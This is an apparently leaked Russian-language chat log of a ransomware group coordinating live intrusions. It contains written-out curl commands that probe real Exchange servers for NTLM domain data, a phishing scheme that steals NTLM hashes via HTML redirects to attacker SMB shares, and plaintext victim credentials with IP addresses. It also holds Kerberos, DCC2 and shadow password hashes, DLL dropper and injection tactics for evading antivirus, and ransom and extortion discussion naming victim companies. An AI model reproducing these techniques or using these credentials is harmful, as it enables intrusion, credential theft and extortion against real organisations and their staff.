потом автоматизирую

нужно только понять, нужно ли вам такое

ничего не менял

ща я еще больше список пассов поищу

вроде быстро находит все

ща напишу скрипт, чтобы все с логов собрать и расшифровать потом

> <@lapa:matrix.bestflowers247.online> DynamikPlus::.:aaaaaaaaaaaaaaaa:12c416a2c558027ad3ad9225d3ad2bfa:01010000000000000050eb114d66da010123cd6e7b0eefbf00000000010010007900660065006a0055006e006d007700030010007900660065006a0055006e006d00770002001000490079005a005000640052007700700004001000490079005a0050006400520077007000070008000050eb114d66da0106000400020000000800300030000000000000000100000000200000345c59261f2cb880c34baa33f7f88585d9153248b3fa9212af0aeac603d6b2a50a001000000000000000000000000000000000000900280063006900660073002f003200300035002e003200330034002e003200340034002e003100310032000000000000000000

> <@usernamegg:matrix.bestflowers247.online> а порт какой ?

не указано же

> <@lapa:matrix.bestflowers247.online> (195.2.135.161) (ROYCE\Teresa,DESKTOP-7171CAM) Gerrard

вот это все, что у меня есть на них

Gerrard это пасс

от чего пасс, я хз

но когда я проверял на своем тестовом

это у меня был пасс от РДП

короч это пасс от пользователя

компа

это откуда?

> <@usernamegg:matrix.bestflowers247.online> sent a video.

🐗

ладно, пошел скрип писать

посмотрим сколько полчится расшифровать пассов

щас попробовали пробить что ли?

)))

вы на сервере webdav подняли?

там челендж обычно идет 1122334455667788

вместо aaaaaaaaaaaaaaaa

https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/

декриптор скинете?

это в позапрошлом году на праздниках когда я разбирался что бы снимать NTLMv2

читал тогда что должен быть челендж 1122334455667788

такой мы и используем для того что бы получать NTLMv2

> <@usernamegg:matrix.bestflowers247.online> ценсус надо мониторить

нужно смотреть короче откуда доступ прилетел

обычно доступ прилетает с ип адреса VPN

https://search.censys.io/hosts/195.2.135.161

но прилетел доступ прям с exchange

> <@usernamegg:matrix.bestflowers247.online> там челендж обычно идет 1122334455667788

> <@usernamegg:matrix.bestflowers247.online> ну там можно найти это ip с портом и это будет какой нибудь доступ от чего либо

> <@usernamegg:matrix.bestflowers247.online> нужно смотреть короче откуда доступ прилетел

вы вручную проверите пока эти доступы?

чтобы точно понимать, что вы сможете с этим работать

а то мне пока нужно все будет автоматизировать, за выходные надеюсь все это сделаю

так как опять же, там не просто самба стоит на сервере, а спец скрипт

нужно же будет на лескольких серверах это все поднимать

потом настроить забор логов

распоковку их

короч за выходные сделаю

**You can chain this CVE with CVE-2023-21716 to obtain RCE !!!**

ну так ты сможешь получить доступ в exchange

по сути

это креды от юзера exchange

если есть exchange, значит есть домен по сути

нужно собирать пачку domain:login:pass

ну и ИП

IP:DOMAIN:LOGIN:PASS

можно через censys пробивать VPNы

Citrix

итд

и пробовать куда то заходить!

> <@usernamegg:matrix.bestflowers247.online> мы с него еще и прослать сможем ?)

перед просылом можно куда то заломится

это же валидные будут креды

вы пока вручную проверьте

там же и нормальные тачки отстучали полюбому

не только DESKTOP

получилось у вас зайти на какой-нибудь их этих доступов?

да только в ручную кувырять

я пока логами занимаюсь

искать точки входа

точнее их обработкой

тут

ага

))

можно у конторы пробивать домен

по exchange

именно local

есть скрипт

по домену который не FQDN можно пробивать в cenys больше инфы

это че у них внатуре такие пароли

погодите

делаю скрипт

ну ты же на почту заходишь если

чтобы вам выдать

а пароль какой юзаешь такой же же не?

а ну вот

значит в домен

https://search.censys.io/hosts/176.95.141.94

MS-Server2019.bergedieck.local

crayen-bergedieck.de

редирект на cbk-architekten.de

+

можно на owa

делать поиск слов VPN, Citrix

Cisco

итд

и выдирать почты эти где эти слова есть

да

вобще это со всеми почтами можно owa делать

помнишь давно я предлагал так делать

ты начал как то собирать

можно и щас это сделать и вобще со всеми OWA

и я уверен будут доступы!

просто этим нужно заниматься прям и будут доступы отвечаю

да

по imap туда можно войти?

нужно через censys бить

еще скрипт есть который может локальный прям домен по exchange пробивать

этим эксплойтом они стучат почему то через exchange

ща покажу

ща

там только автоматизировать надо его

смотри

`curl -Isk -X POST -H 'Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKANc6AAAADw==' -H 'Content-Length: 0' https://email2.westat.com/ews`

вот

тут

вместо email2.westat.com - надо указать IP тогда

`curl -Isk -X POST -H 'Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKANc6AAAADw==' -H 'Content-Length: 0' https://176.95.141.94/ews`

это не все

попробуй

прям щас

он же уже старый

и что будет полсле выполнения такого запроса?

помню конечно)

ебашь код

```

вот я отправил команду

получил ответ

WWW-Authenticate: NTLM

длинный base64

его берешь

и ебашишь так

`echo 'TlRMTVNTUAACAAAAFAAUADgAAAAFgomicdeR9/40X0wAAAAAAAAAAM4AzgBMAAAACgBjRQAAAA9CAEUAUgBHAEUARABJAEUAQwBLAAIAFABCAEUAUgBHAEUARABJAEUAQwBLAAEAGgBNAFMALQBTAEUAUgBWAEUAUgAyADAAMQA5AAQAIABiAGUAcgBnAGUAZABpAGUAYwBrAC4AbABvAGMAYQBsAAMAPABNAFMALQBTAGUAcgB2AGUAcgAyADAAMQA5AC4AYgBlAHIAZwBlAGQAaQBlAGMAawAuAGwAbwBjAGEAbAAFACAAYgBlAHIAZwBlAGQAaQBlAGMAawAuAGwAbwBjAGEAbAAHAAgAIRuFy1Vm2gEAAAAA' | python2.7 ./ntlm.py`

щас скрипт скину

работает он только со вторым питоном

поставить его на сервере отдельно

apt install python2.7

c3573c90-964b-4064-9a87-85cc85f9325a

https://gist.githubusercontent.com/aseering/829a2270b72345a1dc42/raw/3f6fb735349ae848b4da3333d1ec10f89a0fb772/ntlmdecoder.py

можешь переименовать файл в ntlm.py

?

ok

+

я потом эту буду смотреть

ту еще делов много с этим просылом будет и с логами

LOGS_PASSWD.txt

вот что на данный момент есть

привет

счет кидать? закроемся?

ща я тут нашел другой список пассов, еще больше

попробую через него подобрать

может больше выйдет

там 30ГБ

качаю пока

я думал там ебать выборка

так это я забрал

вроде

скачаю

image.png

зачем ты ответил, я уже ответил

ты еще и неправильно ответил

у нас есть апи по умолчанию, это вебдав

он про него и говорит

нет,я ему ответил верно

> <@usernamegg:matrix.bestflowers247.online> нихуя они придумали по апи качать дату

> <@usernamegg:matrix.bestflowers247.online> они ей банчить где то будут у себя в шопах

кош bc1qs5ada59gefdhlapa85g3974ng4g73vly3ygf7z

950

Итого

2100

++

спс

взаимно

спасибо

короч пассов тут на 30ГБ сама програми для перебора хешей еще загружает, жду

но вроде не сильно долго, минут 5 ждать

спасибо +

тут есть и на 80гб пассы)

можно просто с owa собирать может?

со всех которые у тебя есть валидные

мне кажется до нас это уже так делают

потому что я как то было зашел на какую то отчеканную ову

и там в поиске уже кто то искал vpn

58.171.169.50:63393@RAS\warehouse;ABCD1234 - вот эту не смотрели? там и в аутлуке реплаить можно и поковырять, там данных много от большой конторы

> <@usernamegg:matrix.bestflowers247.online> можно просто с owa собирать может?

можно просто с owa собирать может?" по моему я уже так делал

что-то нихера не нашло нормально

ну и опять же, далеко не у всех ова есть

и доступы у нас в основном левых стран от овы

юсы вообще там мало

+

ну не особо на самом деле и открыли

ссылки эти

45 хешей есть

Резонный вопрос, скоро будут доступы с CrowdStrike, Carbon Black, Sentinel, Trend Micro XDR это я написал из популярные EDR нормальных контор, которые приходили в частности от камерона, наши действия?

ставлю расшифровку на 30гб

пассов

посмотрим сколько найдет

мелкий не может обходить trend micro xdr

хеллоу бен обходил

на flyt стоял тренд такой который мне голову всю выебал

я дозапускался файлов от мелкого и все пизда

scanner чек EDR показывал зеленым

хотя по факту нихуя

там у scanner чека не XDR стоит

а EDR как будто

или простой я хуй знает

да

там проверка хуй пойми

там у тренд микро разные

обычный EDR XDR

вроде так

пиздец короче

+

в пн уже запущу

нужно просто еще сделать автоматизацию этого

я тут начал по тихому вводить в курс дела нашего нового киргиза

))

> <@usernamegg:matrix.bestflowers247.online> [17:07:17] vns10k -выгружает хосты шодан,: smb и exchange

а мне зачем?

> <@usernamegg:matrix.bestflowers247.online> **Windows 10 RCE (Sendbox Escape/Bypass ASLR/Bypass DEP) 0day Exploit**

че

[X] Via web page

через IIS что ли

подробности бы какие нибудь еще

Ок

конечно

ебать если будет RCE то это пиздец же

> <@usernamegg:matrix.bestflowers247.online> Microsoft Outlook Remote Code Execution 0day Exploit - zero-click exploit leading to remote code execution when receiving/downloading emails in Outlook, without requiring any user interaction such as reading the malicious email message or opening an attachmen

они хотят нашим локером воспользоваться?

потому что резюме очень профессиональное

в смысле это другой эксплоит есть

ну перебор паасов по этим хешам норм чремени занимает. 45 хешей всего, а до сих пор еще работает

ну там и пишет что 3 часа займет

потому что список пассов на 30гб

---

```

мне нравится их опыт, но я настороженно смотрю. У них есть свой локер и рабочий сайт (копия локбита). Причем локер работает на арм (хоть это и бесполезно но изредка встречаются такие системы), у нас под арм билда нет пока. Я полагаю, что они могут к нам обратиться только из-за нашей известности, по резюме однозначно за то, чтобы их взять. А почему я беспокоюсь - сейчас выебали локбит, конти и еще что то вроде, может быть засланный казачек для исследования нашей админки, мне надо будет более детально изучить вопрос безопасности и можно выдать доступ

отойду на час

согласен?

да

но если цель была быстро сделать то ладно

`$krb5tgs$23$*$uperAdmin$OMI.COM$OMI.com/$uperAdmin*$6d505c987b4458c46cd97b54862bb72b$f312a4e8b9c3ce9f96fb20e8bd147e891a8160785a8a9940d7694bcfde00d45e1bab13433f6aa3737284f63f7e456d5877b065b779e688bd1c79032e0b37d22d690e1cd8641d67c68c2db5c9606647aa0361b7ec2a8e18482366d65b639f1f9021a7928fa51aa7802792fada70bcce49a22540dee450ba8ef240139c12709ec2e0cf71463356ebbe6e8a6377f9f43978526ebb5089adfde779d1bbb7209f9ce4cb558c7a50cb399a506666899cddd9b09106355252d114ca5fde5f06b171f870e19a8cd0a283407370a11a37a1ba381374cfaf62329a2023b4cbac04d631fa92251ca1645fc56e2b8e046da3ddff82e349f33c491b89e160731712e91208eb3e0be2136cdf01dd1848e3741dbee2a656e10817cb83b55b1d73f1af3c7373bee22f205285d9c58180228163ea26890f874abc61419ee1f8241650bb0ee60d4c9515ed57026774090c713817965503c7c5a71b66c90b7eedce6d64d8f200cd29117f2b4c8f451d91b8915b33ad37d5cfda5c4d95921e78321b390ad23602277792b7f897bb4b629509fc021b0a48d13a7c1ba6d2ed5944d76225664088762c78aadcebb2ee7c78bcf5d269095aea0815e27825044086629bf5a9ea8bc471ef2a3a67b79cb85060f48a736024a54f58d3e6615f6bcc1aacbf19286bf1e4c55119ac8a8747a45bba1ff92df9cb3fc15a110d5851ce0a550b9a2a397f72f31cc9d6c2024dcfd0577a47aa8eaaa49afef2078c58f5a6c4906dc4159b017d52ab6e28f8d66d57fcfcf99f7dffb4cb209f970857d0982fcf5aca83d250e3c06c6ea2b745281eaded5860964c643766cd3d2175f83549333b5ba25589f2c252bf217e8f06b639eda1c7f26878fc3fcd207c3938038ebf84d95b3e12f8dec97dd7065182f1a6ad7fada480ce093f8e462ea40886121be78d2e308b0913f1b83ab9f37d9a5913bbad84408a31602cadaeae76b7694301b460b1b656c035250bb597ead57e4936df8baa6963cfed19eeef047da9fe347a68e74fdd398148e4c53b32f8b913d41d8a526cbfba9848c66d74f0a905db4823269e5ddeaf464e2f7fe4e7f6e7d8dc124809a45eca1015193a3556038a0d9f5b037355de614f97f88139653612cc4a3a1f8b2915d24f1d03dc0ab56afd67b27b6e0fd8ba4c6764b27c0be1db6e5d09e4403e46a10d832040576f0461ca3b52d4acea194b2cba703cd0137f902e76d48aefbd3d09b92821141ac984a5d5f7664c6b3980c03069d4f2dc5e814499f1bb1b117ce6da37c0c71b66c2bb021628e16b26804cba22c808e14791ede54c92c9150df47021fc79e6ab0580e8729d4ab2d80145050b1fade189b16cb31c7124fe61a6bdff5b6260e0faa73c1f61e789c697fc55e9674d2381ac5071926c7a356891658dc6c2a03997b63859524a73c50323da6a4fad4935e898d2b65a2f5cab2b5894ac7406efd157786c8f970adb501d6c9dab00d51c3ea30250655551b739fd838842a4a798dd5bd4de89f362314ae1b3754e03e830ae19f3eaba26dd231998fd5676f1bf0c4f7bd74925f5d1c5f6496432f695271c5d3c02bc5cadd1bbe5227f386559e35e0edcdcfdfd71aab5589d047150ae31b6882964a8da4ab8e81796210e8b6c15e8ecf012dea9d502e1f64ef324607116d459f25963759656be54aecfc3e4ba7688e4c34675088affde99f9dac66e`

ssmnlaw.com - просят на декрипт

файлы

> <@usernamegg:matrix.bestflowers247.online> ```

> <@usernamegg:matrix.bestflowers247.online> ssmnlaw.com

ок

FILE IMAP: IMAP1302.txt

file: SMTP2202.txt

FILE IMAP: IMAP2202.txt

OWA1302.txt Count new and valid: 49

LOGS_PASSWD.txt

короче я сейчас другой список еще возьму пассов

80Гб

пока распоковываю его

FORTI_VALID_REVENUE.txt

AUTH_FROM_APOLLO_VALID_20240223.txt

постараюсь)

пока пишу - сегодня всем

не отобразились пока

да, кидай - там без разницы - одному или 20ти отвечать на самом деле

ок

а что все уехали?

тишина какая то прям гробовая

офнусь. в тг чуть что

true.co.uk - возьмёшь сейчас за 300к?

принял

до скольки?

> <@usernamegg:matrix.bestflowers247.online> ```

принял - вернул до 1.5

`$DCC2$10240#Administrator#6df5b4cb7e0b26202677a03be4f45ed0`

`$DCC2$10240#topnotch#477de2aecaebf3197f50870a14ba105e`

> <@usernamess:matrix.bestflowers247.online> ```

0

0

0

```

```

```

`$DCC2$10240#jblack#6a46e8a63887e3c4cc1ffb4d961fee82`

> <@usernamejj:matrix.bestflowers247.online> `$DCC2$10240#jblack#6a46e8a63887e3c4cc1ffb4d961fee82`

123.txt

на форум сможешь разместиь?

* на форум сможешь разместить?

```

```

я уснул

for_forum.txt

нет

довольно сильно

а что?)

соболезную вам с таким графиком

я пошел спать тогда, спокойной ночи

> <@usernamemm:matrix.bestflowers247.online> `8f69dfb6b9ceab302c8cc85df28e4667`

> <@usernamemm:matrix.bestflowers247.online> `a74c6c0b707fe81d43b970cfd7dd6a16`

ты тут?

ласт снова в отвале

X 2024-02-24 в 01.59.08.jpg

у меня с инетом какая то пизда, еле грузится все походу траф кончился или че

`64.176.219.106:42293 HEADQUARTERS`

++

stop my all

привет

https://www.csoonline.com/article/1309007/critical-connectwise-screenconnect-flaw-exploited-in-the-wild.html

удаленное выполнение кода на серверах скринконект

+

LOGS_PASSWD.txt

185.253.38.154:13389 DAUPHINS\patricia Ruben1718

ну я вот допустип вот так по рдп вошел

* ну я вот допустим вот так по рдп вошел

но в целом короч мне мало, что получится, так как мало вышло словить хешей

думаю как раз потому, что там заблочили запуск

еще в пн конечно попробуем

кстати еще прикольно то, что эти хеши можно получать не только, если открывать линк через аутлуке, но и через браузер

т.е. если атлук блочит открытие линка, можно попробывать в пдф засунуть линк

короч мы же не проверили на сетках

нужно проверить

можно попробывать даже html слать, в котором будет редирект на линк самбы

наверное завтра так и сделаю

только проверю будет ли работаь

проверил. работает. короч буду слать завтра зип. В зипе будет файл мусор и html. В Html будет редирект на сабму.

Автоматическое создание линков сабмы сделал. Также сделал забор логов со всех линков самбы

* но в целом мало вышло словить хешей

* Автоматическое создание линков сабмы сделал. Также сделал забор логов(хешей) со всех линков самбы

понял

я давно видел, но внимания не обратил с первого раза

я через неделю приеду, дотестирую одну тему - должно помочь в добыче сеток

расскажу подробно

ку

индию принимаешь ?

есть корп на 15лярдов

ответил всем

ку

X 2024-02-24 в 19.23.07.jpg

image.png

ава у разраба

> <@usernamegg:matrix.bestflowers247.online> 185.253.38.154:13389 DAUPHINS\patricia Ruben1718

а не, с другой RDP дало коннект

> <@usernamegg:matrix.bestflowers247.online> тут ?

нет никого))

> <@usernamegg:matrix.bestflowers247.online> 185.253.38.154:13389 DAUPHINS\patricia Ruben1718

X 2024-02-24 в 19.58.06.jpg

We can't find any. Where are they? We are locked out of our systems. It looks like you changed the passwords.

чего блять

они бухают там??

pstrans.com_privat - проблема со скачкой файлов

на декрипт

Ты в юсе все больницы поломал?))

ну прям много доступов рпд может и не будет.. посмотрим короч

`$krb5tgs$23$*sqladmin$eastmanmc.com$MSSQLSvc/EMC-SQL.eastmanmc.com:1433*$3668D64E5D03FF93DF1307B2B11894BA$5A17B6892B971682E6E0B7826E4162A94C9D1BD73D2204B271EDC949347232DC9E898AA43C79BC2ACA744464268F8EB5C6E6BD67B5CFD7163A9DDCF27F7515C292B78B9DA2E97F0711E767BA8FB0E58004291CD7CB871F19699A42ED3C41B2130813E259E86D27044BF9BAEF9B4961C60A86ED1CF61C21ACA704F9AF47682EB91BAF02B6DF6A3B9449DA61FC9896FB1BB27806393CB11015939863341672F2B6B98C7D773B04B23DC9FCED74B0917E1B86BD0814433F081D228D8EA1CFBF6668A426EC4BED13A55A96E17765346A59BA0764C9790C5272DBFC29AD68E6512C078B047999787BF4EB348F94D827A0D341C0813E04B0398E5B5675CCFEE498F187D8B3AE619AE7EF7DA8781B23C9310432EB57876CB969A13465CF664EC45AD04CD8F7CF2F1E568972AFCF8AB5CAC7EDDDAAD827E5F3AC2CB3FF32584869322069F31FA87A861F0A378B736CF8613A522F0C1642BA87319442BCDB7A9113EA1B868BDD293281ECB1019EA922857EA74536559D4D7DAC472B4F1E7BB3057CD430A472467414630EE8B6F1B15340C7345762A76FD72ACB04335A110731FCAC9486F816BDE46E603BF2384B223840CF8133D8B8AD1BF2E93A62AA62D11ACFC1A8D629F7523B1E820DEAC8DB562957456682B6B64605FEC60DCEE0831805E85ED8FB75AF6E8CDDB4B11F7FCA3338EF09880CF32A73638C1D63C42BC4182069647DBD787CAFAC32322062B055AEFD56E7F639DED07108AEC456AFF8AE60953C0F6A2EC33EBBFB61090E55242FABC75A0B6516FD931222FB686BDBF57E2331020A519155B9A9B2F9BB16D6E0B9AD0ADF8641B35EF60AA815614D07E35D74C0A73A2A76B5F7322536A3323EECA0B5CBB97FB2C174FDCD75E1DEA1A803E12C0259544B9B1E6A1C43CD05AF2B83023BD67DEA206800F160B647E3875E5858A015F4F1BBDFEB602CFAD92801FD4E31F2063EDEE7C312A1B5A6B907A3DF625A7618769719B906CFF03F4E94A9A824FE7A860C1AE227C085E2ED42D5A053DB0BD3034D35824FDA7C35A5B6B1A822AC721D5F73D7BF7233269A8B7E3414B3BEAFB7ABC9E9F4CBC9C4146ABBC0BF06058BC4090AE954A6637EE78F7671AFFEFAB4995B1D801D065A5AB4236FCECE77E0F7B4CE246E8EE762AF4CFA90DD9A1FFA892A2FCF6ED59181AFE4E1BF499AC6E6B5B012DDD916CE3C23FD2BE1466CEDB33575344631735BA83AF7114CA30F985F32F90440016037EB3EC28FCF1F4EF1DB51FBD7B2911C1839409EAE4CF66BB48E573BAA511995C301B050C247A166FE08837F407CE3C786A9C5DBB65D5139FF2CC7F97282AC2042BFDEE2A1C245E18191D874B996AB4D60C1B24B1DD0DB799D1AA5177C7736DB095414E2E405F107B247ECB808AD162FFAB4D56BCAB1A3DFCFAF00E4299A00EE913519CD2E8C66A13A1C93576EA855E3F3210EC0B56C4B19D42C2C8B4E4E6343C4F298DA721CEBEF97CFDC30D2510BEA460E2E9A0F5F9651AFEC9C602822E689887E596EE48BAA839D48F69D6D191FD32E7FDA8AED3C65DA85660D8B15BC856EA195EB94CFCB71F4A18B72BDC9E0175FEF5515DAA817F7E34EFE26A1ACFD3B1FEF9962650A6F0D3CAB18450FF35EA35E3A403106AECB2B2EDED5B4744361E0A874846B70DEEB43AB93C025C0FFE2F104DA9A8E80895C7720E7ED1698BB57044EE96EB669EC5B43C48C6E094CE2F2A0C2B8FC66BB`

MM

$$hash.txt

это нам предлагают

завтра узнаю детальней

> <@usernamegg:matrix.bestflowers247.online> sent an image.

локбита въебали через PHP

не мудрено

нехуй потому что PHP дерьмо делать

кто не делает дерьмо на PHP, того не ебут

ебут только через сертификаты, но это уже другая история))

ладно где нибудь сделать Нууу Окэй

но в локере юзать php это пизда шиза нахуй

> потому что вы не наносите никакого критического ущерба, вы приносите только пользу

> Какие выводы можно сделать из этой ситуации? Очень простые, что нужно чаще и больше атаковать .gov сектор, именно после таких атак ФБР будет вынуждена показывать мне слабые и уязвимые места и делать меня сильнее. Атакуя .gov сектор можно точно узнать есть ли у ФБР возможность атаковать нас или нет.

ку

в BB не используется надеюсь php?

root:$6$QBgyuu/daBFPXejh$vx1drnIBODr.U0Xt8jyNIiqVQgcG5ICBKEiPD8G1U.hFJUMm4bdmFohdsrqx7LrIacsY2JuaUa4zzQnSOw0vi.

* `root:$6$QBgyuu/daBFPXejh$vx1drnIBODr.U0Xt8jyNIiqVQgcG5ICBKEiPD8G1U.hFJUMm4bdmFohdsrqx7LrIacsY2JuaUa4zzQnSOw0vi.`

* нехуй потому что PHP делать

* кто не делает на PHP, того не ебут

дерьмо было грубо сказано конечно, но факт остается фактом

https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708

POV как ебали через Sceen Connect

`certutil -urlcache`

отлично

супер я бы сказал супер гуд

я с ластом общаюсь

там 2 сервера уже скопировалось еще 2 осталось

доступ ему я сказал давать не буду рута

а будет делать через teamviewer

за доп плату за такой гемор

он сказал твои ноты - моя гитара ))

я вобще думал после завтра

но сегодня утром

лучше доплатим ему за неудобства

но без предоставления доступа

я сказал мы доверяем ему

но бизнес бизнесом - ничего личного))

да все норм

тех моменты на мне

все будет заебись

лично проконтролирую эти моменты что бы было все заебись

что бы муха глаз свой не подточила

или как там говорится

а точно ебать

Хорошо

я тут разбор читаю

там скрин коннект ебашили и майнеры

и локеры сразу запускали на хостах))

> <@usernamegg:matrix.bestflowers247.online> завтра будем разбирать

ага

я отпишу тебе утром

Давай

Споки

))))

это база

одну кошку в офис?

ааа

я думал двух баб

))

Споки потом

давай добрых

```

```

**MSSQL**

0x0100e6f3fa87dfcc93fb956a84167f3050bac4a1d9620be17cbf:millsgroup

Привет!

AUTH_FROM_APOLLO_VALID_20240225.txt

AUTH_FROM_APOLLO_VALID_20240224.txt

AUTH_FROM_APOLLO_VALID_20240223.txt

FORTI_VALID_REVENUE.txt

форти и рдвебы

скоро все подготовлю и запущусь

Не используется, я ж говорю, у меня всё самописное, в том числе логика вебсервера

> <@usernamenn:matrix.bestflowers247.online> кто не делает на PHP, того не ебут

запустился уже

посмотрим сколько выйдет хешей

> <@usernamegg:matrix.bestflowers247.online> ты посмотрел , сможешь ведь выкачивать почты с тех экченжей от которых хеши расшифровали ?

по всей европе

я доступы разсшифрованные только запустра сброшу

потому что расшифровка занимает время

нашел потму что баззу пассов на 176ГБ

ну уже смотрю есть какие-то хеши

до вечера буду собирать хеши, на ночь поставлю расшифровку и сброшу вам

* до вечера буду собирать хеши, на ночь поставлю расшифровку и сброшу вам завтра

120к писем ушло

+ CHRUL\marie.csanyi,WS-CBP-ACPN1L23

вот есть что-то

ну я сразу оскекаю воркгруппы

да

но, может быть и верерсы

хз

500к прошлю

просто все равно ав могут начать палить html

> <@usernamegg:matrix.bestflowers247.online> ip с портом бы еще чекать на rdp

я хочу, чтобы вы тоже там внучную посмотрели эди доступы, и сказали стоит ли такое собирать, будет ли выхлоп

короч сегодня я врядли что-то сброшу

сегодня собираю хеши эти

* я хочу, чтобы вы тоже там внучную посмотрели эти доступы, и сказали стоит ли такое собирать, будет ли выхлоп

да, но рдп там не у всех будет

нужно вручную пока все же будет посмотреть, как в сеть попасть с этими доступами

и мне потом скажете, автоматизирую проверку

так вы только на рдп будите проверять?

+

дополненый список

там ниже видны считай чисто с доменами компы

с сегодняшнего просыла

прогнал через легкий список пассов

Првиет! Как дела?

Готовить на сегодня билды?

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/34040

помнишь та сетка IT

вернулась с утра

сегдня

2024-02-26 07:38:38

550k прослал

стопну

юсу еще потом прошлю

Добрый день. Что сделать?

https://pay.freekassa.ru/?oa=30000&m=16399&o=70551300.1708940230&i=&currency=RUB&s=0e956c454879d7224f90d3bc49899e30&em=vasiliy.petrov2334%40mail.ru&lang=ru&us_dest=%D0%9F%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5+%D0%B1%D0%B0%D0%BB%D0%B0%D0%BD%D1%81%D0%B0+%D0%B0%D0%BA%D0%BA%D0%B0%D1%83%D0%BD%D1%82%D0%B0+a227786+%D0%BF%D0%BE+%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8+%E2%84%9670551300&external_hash=3987d129423315456bb2410dce2d4a7a4348704

вдсина пополнение

```

> <@usernameyy:matrix.bestflowers247.online> ```

LOGS_PASSWD.txt

https://45.151.67.68:8443/ TBIMPIANTI mauro.bertoni 21265 вот сюда куда-то вошел

+++

окей

щас сделаю, минут 15

ну да, нужно пробывать

и скину в общий чат к криптерам

Давай dll сделаю, я думаю она лучше будет идти

из под JS можно запускать без палева через regsvr32 точно

да

мы уже сколько его шлем

а вы говорите, что нет норм сеток

хватит уже

Запустил билд DLL под regsvr32 или rundll32 file.dll, DllRegisterServer или DllInstall или DllUnregisterServer

то есть запускать можно как угодно

это понятно

имею ввиду, что может с DLL все намного лучше будет

ибо она не такая палевная при дрпое на диск как EXE

ибо DLL надо запускать через что то, по типу regsvr32 или rundll32, а это от microsoft же и его сложнее задетектить, а когда 2 раза кликнул, то АВ легче намного понять что делать

это к экшену фбр/локеры?

кстати почему не хочешь взять копейки с компании barberemerson?

они дату хотят удалить опубликованную\

ахах

ну я могу сделать, только не у всех колонки есть

подготовить к 1 апреля?

делаю закреп от ляписа, тестирую все и сразу в чат

я не понимаю это шутка или нет

на завтра мне еще нужны будут впски

без доменов

Всем привет!

dropper_GG23_M_f0adda360d2b4ccda11468e026526576_7We7hWoBi.zip

5 мегабайт будет дополнительно к экзешнику

Приветствую. Занимаюсь

Добрый

Пока что ничего нет

* Пока что ничего нет, в течении дня будет

OK

+++

Уже отдал если что на крипт и все пролил

и все протестил

ну для линков самбы

чтобы завтра еще прослать

ну вот короче намного больше хешей собираю, если шлю свой html файл

ну слыжно сравнивать, потому что в пятницу всего 50к я прослал

~ Log files: 10

915 хешей вроде как от сеток

но конечно от всех мы пасс не подберем

пилю

пиздец посидел в кресле

до сих пор как будто по жопе ролики хуярят

> <@usernamegg:matrix.bestflowers247.online> ну а мы полноценно будем иметь доступ к экчейнжу и выкачать и прослать можно будет ?

он тоже не у всех есть

по айпишнику этому

далеко не у всех

и только доступ к одному аккаунту по сути же

LOGS_PASSWD.txt

дополнил

короче с этими доступами вы пока ничего не сможете сделать?

есть ли тогда смысл мне их собирать

?

завтра даже лучше скину

так как еще юсу прошлю

привет, сегодня будет что-то на крипт?

> <@n3auxaxl:matrix.collectionofmanager.space> Всем привет!

> <@burito:matrix.bestflowers247.online> а можно другую точку входа сделать?

или это проблема?

> <@n3auxaxl:matrix.collectionofmanager.space> или это проблема?

+++

```

вот так на C их можно экспортировть если что

переопределение этих функций при сборке сурсов не всегда дружит просто

ага, да, есть аткое

> <@n3auxaxl:matrix.collectionofmanager.space> Всем привет!

drps.7z

сек

щас гялну

inject - запустил, появился explorer.exe x86

щас в suspended ушел

кароче да, инждект почему то не отработал у тебя, а дефолтный крипт спалило

Screenshot_2024-02-26_14-14-54.png

вот

от липиса крипт если что чситый

который на закрепе стоит

проверил все

жду от бурито и бена еще

> <@n3auxaxl:matrix.collectionofmanager.space> кароче да, инждект почему то не отработал у тебя, а дефолтный крипт спалило

да

ну даже до запуска не дошло

да, вижу

команду запустил, но деф начал сканить и спалил

а инжект вроде работал в процесс, хз

ну там сначал появился explorer.exe x86

потом он ушел в suspended и все

а бота спустя 2 минуты нет

ладно. все равно палится будет дефом, там инжект обычный. на других может сработает

в общем там АЗС

хз вот

стоит ли их трогать

какой же мусорный носок

+++